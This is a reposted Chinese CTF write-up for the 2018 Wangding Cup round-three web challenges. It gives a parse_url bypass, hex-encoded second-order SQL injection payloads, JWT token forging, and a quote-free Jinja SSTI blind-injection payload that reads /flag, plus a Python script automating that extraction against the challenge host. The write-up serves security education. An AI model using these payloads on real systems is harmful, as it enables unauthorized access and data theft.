【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

栏目: 数据库 · 发布时间: 5年前

内容简介:比赛环境没关,可以找其他人借账号复现本次比赛题目,以下是网鼎杯第三场Web题解。题目:由于运维人员失误,内网认证页面部署至了外网,不过还好,开发加了域名验证。

比赛环境没关,可以找其他人借账号复现本次比赛题目,以下是网鼎杯第三场Web题解。

Web

comein

题目:由于运维人员失误,内网认证页面部署至了外网,不过还好,开发加了域名验证。

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

查看源码,发现如下代码:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

很明显又是考察 parse_url 函数绕过,只不过开头多了对点号的匹配,绕过即可。使用 payload.@c7f.zhuque.com/..//

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

可以自己本地调试一下。

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

gold

题目:还在上小学的小明同学开发了一款游戏,你能通关吗?

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

Burpsuite抓包会发现浏览器一直发送POST数据,应该是通过Ajax来发起请求的:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

根据题目提示: 收集1000金币即可过关 。尝试直接将参数 getGod 的值修改为1000,发现会触发检测机制。

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

于是使用 Burpsuite 抓包,用 Intruder 模块从0跑到1001,在 getGod=1001 的数据包中获得flag:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

PS:用多线程跑会触发游戏的反作弊机制,用单线程按顺序跑就能出flag。

phone

题目:find the flag.

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

看到这道题目,马上就想到 2017广东省强网杯(第三题) 。测试了一下,果然在用户注册处的电话处存在二次注入,测试结果如下:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

可以发现这里查询结果为: 有1人和你电话相似哦~ ,而实际上这是我注册的第一个用户,数据库中不可能有用户的电话和我一样,所以应该是执行了我们刚刚构造的 SQL语句 ,因为后面的布尔逻辑值为真。所以我们分别构造获取表名、列名、字段的 payload 如下:

获取表名:

aaa' union select group_concat(table_name) from information_schema.tables where table_schema=database() order by 1 desc#
username=test4&password=test4☎=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829206f726465722062792031206465736323&register=Login

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

获取列名:

aaa' union select group_concat(column_name) from information_schema.columns where table_name="flag" order by 1 desc#
username=test6&password=test6☎=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d22666c616722206f726465722062792031206465736323&register=Login

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

获取字段:

aaa' union select f14g from flag order by 1 desc#
username=test7&password=test7☎=0x6161612720756e696f6e2073656c65637420663134672066726f6d20666c6167206f726465722062792031206465736323&register=Login

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

这里可能有人会不明白为什么要加上 order by 1 desc ,大家可以试试下面这个 payload

aaa' union select group_concat(table_name) from information_schema.tables where table_schema=database()#
username=test8&password=test8☎=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d6461746162617365282923&register=Login

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

实际上后台的 SQL语句 类似下图 第一个 SQL 语句

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

i_am_admin

题目:你能登录进去吗?

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

抓取登录数据包,发现 JWT

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

登录进去可以发现用于加密的 secret key

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

使用这个 secret keyhttps://jwt.io/ 生成 admin 对应的 token 值:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

使用该 token 值访问网站即可获得flag:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

mmmmy

题目:find the flag.

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

抓包发现又是 python 的web程序,使用了JWT:(随手用test/test登录即可看到)

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

使用 c-jwt-cracker 爆破 secret key

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

发现只有 admin 才能用留言板功能,所以 伪造admin的token 登录:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

virink师傅提醒说留言板处存在 SSTI ,于是测试了下,果然存在,只不过过滤了 {{}} 的写法,那我们可以换成流程控制结构的写法 {%if 表达式%}内容1{%else%}内容2{%endif%} ,测试如下:

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

那么后面的数据就要盲注出来了,使用的 payload 类似如下:

text={%  if open('/flag','r').read()[0]=='f' %}1{%  else  %}0{%  endif  %}

这里实际上过滤了单、双引号,我们可以使用以下payload进行绕过:

text={% if request.values.e[18] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[0]%}good{%endif%}&a=__class__&b=__base__&c=__subclasses__&d=/flag&e=}-{0123456789abcdefghijklmnopqrstuvwxyz

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)

getflag程序如下:

import requests,sys
url = "http://4532bc69bc734acd8416204f0aa04f446e9d38024c5644e8.game.ichunqiu.com/bbs"
cookie = {
    "token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"
}
chars = "}-{0123456789abcdefghijklmnopqrstuvwxyz"
flag = ''
for i in range(0,50):
    for j in range(0,len(chars)):
        data = {
            "text" : "{%% if request.values.e[%d] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[%d]%%}getflag{%%endif%%}" % (j,i),
            "a" : "__class__",
            "b" : "__base__",
            "c" : "__subclasses__",
            "d" : "/flag",
            "e" : chars
        }
        r = requests.post(url=url,data=data,cookies=cookie)
        if 'getflag' in r.text:
            flag += chars[j]
            sys.stdout.write("[+] "+ flag + '\r')
            sys.stdout.flush()
            if chars[j] == '}':
                print(flag)
                exit()
            else:
                break
print(len(r.text))

【2018年 网鼎杯CTF 第三场】Web 题解(28日更新:web最后一题)


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

部落:一呼百应的力量

部落:一呼百应的力量

高汀 (Godin.S.) / 刘晖 / 中信出版社 / 2009-7 / 26.00元

部落指的是任何一群人,规模可大可小,他们因追随领导、志同道合而相互联系在一起。人类其实数百万年前就有部落的出现,随之还形成了宗教、种族、政治或甚至音乐。 互联网消除了地理隔离,降低了沟通成本并缩短了时间。博客和社交网站都有益于现有的部落扩张,并促进了网络部落的诞生——这些部落的人数从10个到1000万个不等,他们所关注的也许是iPhone,或一场政治运动,或阻止全球变暖的新方法。 那么......一起来看看 《部落:一呼百应的力量》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具